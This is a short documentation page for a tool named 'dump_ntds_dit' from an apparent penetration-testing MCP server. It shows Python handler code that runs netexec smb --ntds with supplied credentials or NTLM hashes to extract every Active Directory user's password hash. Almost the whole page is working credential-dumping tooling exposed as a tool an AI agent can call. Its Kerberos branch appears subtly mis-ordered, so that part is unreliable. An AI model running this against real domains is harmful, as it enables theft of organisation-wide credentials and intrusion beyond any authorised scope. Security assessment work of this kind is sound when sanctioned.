dump_ntds_dit
Extract Active Directory user credentials and password hashes from NTDS.dit files using valid authentication to support security assessments and penetration testing.
Instructions
dump NTdS.dit which contains users and their hashes if we have some valid credentials
Input Schema
TableJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| ips | Yes | ||
| username | Yes | ||
| password | Yes | ||
| ntlm | No | ||
| kerberos | No |
Implementation Reference
- src/pentestmcp/server.py:277-285 (handler)The handler function decorated with @mcp.tool for the dump_ntds_dit tool. It runs netexec smb --ntds using NTLM or Kerberos authentication based on parameters to dump the NTDS.dit file containing user hashes.@mcp.tool(name="dump_ntds_dit",description="dump NTdS.dit which contains users and their hashes if we have some valid credentials") def dump_ntds_dit(ips:List[str],username:str,password:str,ntlm:bool=False,kerberos:bool=False): if(ntlm): return run_command(["netexec","smb"]+ips+["-u",username,"-H",password,"--ntds"],communicate=True) elif(kerberos): return run_command(["netexec","smb"]+ips+["-u",username,"-p",'-k',password,"--ntds"],communicate=True) else: return run_command(["netexec","smb"]+ips+["-u",username,"-p",password,"--ntds"],communicate=True)
- src/pentestmcp/server.py:277-277 (registration)Registration of the dump_ntds_dit tool via the @mcp.tool decorator specifying name and description.@mcp.tool(name="dump_ntds_dit",description="dump NTdS.dit which contains users and their hashes if we have some valid credentials")